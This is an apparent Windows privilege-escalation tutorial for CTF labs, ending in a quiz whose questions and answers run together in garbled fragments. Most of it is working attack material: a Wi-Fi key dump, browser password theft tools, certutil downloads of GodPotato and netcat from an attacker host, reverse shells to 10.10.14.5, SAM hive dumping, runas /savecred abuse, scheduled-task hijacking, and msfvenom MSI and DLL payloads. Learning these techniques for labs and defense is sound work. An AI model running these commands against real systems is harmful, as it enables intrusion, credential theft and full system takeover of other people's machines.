for /f "tokens=2 delims=:" %a in ('netsh wlan show profiles ^| findstr "Profile"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr "Key Content"
# Chrome stores passwords in an SQLite database:
# %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# Encrypted with DPAPI (user's master key)
# Firefox stores passwords in:
# %APPDATA%\Mozilla\Firefox\Profiles\*.default\logins.json
# Encrypted with a master password (often blank)
# Tools to extract browser passwords:
# - Mimikatz: dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"
# - SharpChromium: .\SharpChromium.exe logins
# - LaZagne: python3 laZagne.py browsers
# - HackBrowserData: .\hack-browser-data.exe
# From Linux (if you've extracted the files):
# Chrome: python3 chrome_decrypt.py Login\ Data
# Firefox: python3 firefox_decrypt.py
The most common Windows privesc path in CTFs. You get a web shell as IIS and escalate via Potato attacks.
# ─── Step 1: Initial access via web exploit ──
# Exploit a file upload vulnerability to get a web shell
# Current user: IIS APPPOOL\DefaultAppPool
C:\inetpub\wwwroot> whoami
iis apppool\defaultapppool
C:\inetpub\wwwroot> whoami /priv
PRIVILEGES INFORMATION
SeImpersonatePrivilege Impersonate a client Enabled ← TARGET
# ─── Step 2: Upload tools ──
# Use certutil to download tools (often the only transfer method that works):
certutil -urlcache -split -f http://10.10.14.5:8000/GodPotato.exe C:\temp\GodPotato.exe
certutil -urlcache -split -f http://10.10.14.5:8000/nc64.exe C:\temp\nc64.exe
# ─── Step 3: Escalate with GodPotato ──
# Set up listener: nc -lvnp 4444
C:\temp\GodPotato.exe -cmd "cmd /c C:\temp\nc64.exe 10.10.14.5 4444 -e cmd.exe"
# ─── Step 4: Verify SYSTEM access ──
C:\Windows\system32> whoami
nt authority\system
# ─── Step 5: Grab the flag and dump creds ──
type C:\Users\Administrator\Desktop\root.txt
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Transfer to attacker → extract hashes with impacket-secretsdump
A more nuanced path combining stored credentials with a writable scheduled task:
# ─── Step 1: Land as low-priv user ──────
C:\Users\webuser> whoami
target\webuser
C:\Users\webuser> whoami /priv
# No interesting privileges — basic user
# ─── Step 2: Enumerate stored credentials ──
C:\Users\webuser> cmdkey /list
Target: Domain:interactive=target\svc_admin
Type: Domain Password
User: target\svc_admin
# svc_admin credentials are saved! Can we use them?
C:\Users\webuser> runas /savecred /user:target\svc_admin cmd
# A new cmd window opens as svc_admin!
# ─── Step 3: Enumerate as svc_admin ─────
C:\Users\svc_admin> whoami /groups
BUILTIN\Administrators ← We're an admin but in a filtered context!
C:\Users\svc_admin> whoami /priv
# SeImpersonate is NOT here (not a service account)
# But we're in Administrators group...
# ─── Step 4: Check scheduled tasks ──────
C:\Users\svc_admin> schtasks /query /fo LIST /v | findstr /i "task to run\|run as"
Task To Run: C:\Scripts\maintenance.bat
Run As User: SYSTEM
C:\Users\svc_admin> icacls C:\Scripts\maintenance.bat
C:\Scripts\maintenance.bat BUILTIN\Administrators:(F)
# We have Full control!
# ─── Step 5: Modify the scheduled task script ──
C:\Users\svc_admin> echo C:\temp\nc64.exe 10.10.14.5 4444 -e cmd.exe >> C:\Scripts\maintenance.bat
# ─── Step 6: Wait for the task to execute (or trigger it) ──
C:\Users\svc_admin> schtasks /run /tn "Maintenance"
# Listener catches SYSTEM shell!
C:\Windows\system32> whoami
nt authority\system
A multi-vector escalation where the first technique gives you admin, and the second gives you SYSTEM:
# ─── Step 1: Initial enumeration ────────
C:\Users\developer> whoami
target\developer
# Run WinPEAS:
C:\Users\developer> .\winPEASany.exe
# WinPEAS highlights TWO findings:
# [!] AlwaysInstallElevated set to 1 in HKLM AND HKCU
# [!] Service "CustomMonitor" has a missing DLL: C:\Program Files\Monitor\helper.dll
# Service runs as: LocalSystem
# ─── Step 2: Exploit AlwaysInstallElevated ──
# Verify:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# AlwaysInstallElevated REG_DWORD 0x1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# AlwaysInstallElevated REG_DWORD 0x1
# Create MSI that adds us to local Administrators:
msfvenom -p windows/x64/exec CMD='net localgroup Administrators developer /add' -f msi -o admin.msi
# Transfer and execute:
msiexec /quiet /qn /i C:\temp\admin.msi
# Verify:
net localgroup Administrators
# developer is now in Administrators!
# ─── Step 3: Now exploit the DLL hijack for SYSTEM ──
# We need admin to write to C:\Program Files\Monitor\
# (which we now have via AlwaysInstallElevated)
# Check the service:
sc qc CustomMonitor
# BINARY_PATH_NAME: C:\Program Files\Monitor\monitor.exe
# SERVICE_START_NAME: LocalSystem
# Create malicious DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o helper.dll
# Place it where the service expects it:
copy C:\temp\helper.dll "C:\Program Files\Monitor\helper.dll"
# Restart the service:
sc stop CustomMonitor
sc start CustomMonitor
# ─── Step 4: SYSTEM shell! ──────────────
C:\Windows\system32> whoami
nt authority\system
# Key insight: Sometimes you need to chain multiple techniques.
# AlwaysInstallElevated → local admin → DLL hijack → SYSTEM
certutil is a legitimate Windows certificate utility that can download files — it works even when PowerShell is blocked by AppLocker or Constrained Language Mode. It's available on all Windows systems by default. wget and curl aren't natively available on older Windows. This is often the only file transfer method that works in restricted environments.cmdkey /list reveal, and why is it useful for privilege escalation?cmdkey /list shows credentials stored in Windows Credential Manager. If an admin previously saved their credentials (e.g., for RDP or network shares), you can use runas /savecred /user:admin cmd.exe to run commands as that admin — without knowing their password. This requires zero exploitation and is one of the easiest Windows privesc wins.AlwaysInstallElevated registry keys must be set to 1 for the exploit to work. Which two registry hives must you check?HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer and HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer must have AlwaysInstallElevated set to 1. HKLM is the machine-wide policy, HKCU is the user-level policy. When both are enabled, any MSI package installs with SYSTEM privileges. Generate a malicious MSI with msfvenom -p windows/x64/shell_reverse_tcp ... -f msi and install it with msiexec /quiet /qn /i evil.msi.fodhelper.exe or eventvwr.exe registry hijacking to get an elevated context.SeImpersonatePrivilege:.\PrintSpoofer64.exe -i -c cmd gives you an interactive (-i) SYSTEM shell by executing cmd (-c) with the impersonated SYSTEM token. PrintSpoofer works by abusing the Print Spooler service's named pipe. It's the go-to alternative when JuicyPotato doesn't work on newer Windows versions (10/Server 2016+).